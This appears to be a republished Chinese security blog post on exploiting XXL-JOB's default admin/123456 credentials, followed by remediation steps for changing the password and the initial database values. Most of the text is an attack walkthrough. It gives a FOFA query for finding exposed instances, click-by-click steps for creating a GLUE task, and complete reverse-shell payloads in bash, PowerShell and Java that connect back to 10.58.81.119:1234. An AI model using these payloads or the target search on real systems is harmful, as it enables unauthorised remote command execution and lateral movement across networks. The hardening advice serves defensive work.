XXL-JOB是一个分布式任务调度平台,分为调度中心和执行器两部分。
在调度中心添加执行器后,调度中心可以对执行器进行命令执行,属于集权系统,可以帮助攻击者批量获取服务器权限。
同时,通过调度中心横向到执行器,往往可以帮助攻击者实现跨网横移,这在网络策略严格的环境中具有较大价值。
XXL-JOB的默认帐号密码是admin/123456
,属于管理员权限。
如果默认口令未修改,攻击者就能登录调度中心,与执行器进行调度通信,对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。
所有版本的默认口令都是admin/123456
,因此所有版本的XXL-JOB
都受到影响。
FOFA:
app="XXL-JOB" || title="任务调度中心"
适用于执行器所在服务器的操作系统是具有Shell环境的Linux。
1. 任务管理
2. 新增
1. 执行器:【选择需要攻击的执行器】
2. 运行模式:GLUE(Shell)
3. 保存
1. 任务管理
2. 【选择对应执行器】
3. 【选择对应任务】
4. 操作
5. GLUE(Shell IDE)
6. 【编写EXP代码】
1. bash -i >& /dev/tcp/10.58.81.119/1234 0>&1
7. 保存
8. 源码备注
9. 保存
10. 关闭
1. 任务管理
2. 【选择对应执行器】
3. 【选择对应任务】
4. 操作
5. 执行一次
6. 保存
1. 任务管理
2. 【选择对应执行器】
3. 【选择对应任务】
4. 操作
5. 查询日志
6. 【选择对应日志】
7. 操作
8. 执行日志
适用于执行器所在服务器的操作系统是具有PowerShell环境的Windows。
运行模式:GLUE(PowerShell)
$LHOST = "10.58.81.119"; $LPORT = 1234; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
适用于所有情况,因为能运行XXL-JOB,执行器所在服务器肯定有Java环境。
运行模式:GLUE(Java)
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
publicclassExploit{
publicExploit()throws Exception {
String host="10.58.81.119";
int port=1234;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
pe=p.getErrorStream(),
si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
点击右上角的欢迎 admin
,选择修改密码,修改后会退出登录。
请注意:登录密码不应超过18位,因为前端登录时会对密码进行截取。XXL-JOB >= 2.1.1
时前端无法改成超过18位的密码,但XXL-JOB < 2.1.1
时可以,导致修改密码后无法登录。
此时使用默认口令登录,提示帐号或密码错误,说明漏洞修复成功。
使用32位小写md5值,替换掉默认口令。
请注意:登录密码不应超过18位,因为前端登录时会对密码进行截取,超过将导致无法登录。
vim doc/db/tables_xxl_job.sql
这样在部署XXL-JOB时,就不会使用默认口令初始化数据库,虽然存在口令复用问题,但也算部分实现了安全左移。
### 初始化数据库
mysql -u root -p
source /usr/local/xxl-job-2.2.0/doc/db/tables_xxl_job.sql
exit
新部署好XXL-JOB后,使用默认口令登录,提示帐号或密码错误,说明漏洞不存在。
本文分享自 OneMoreThink 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!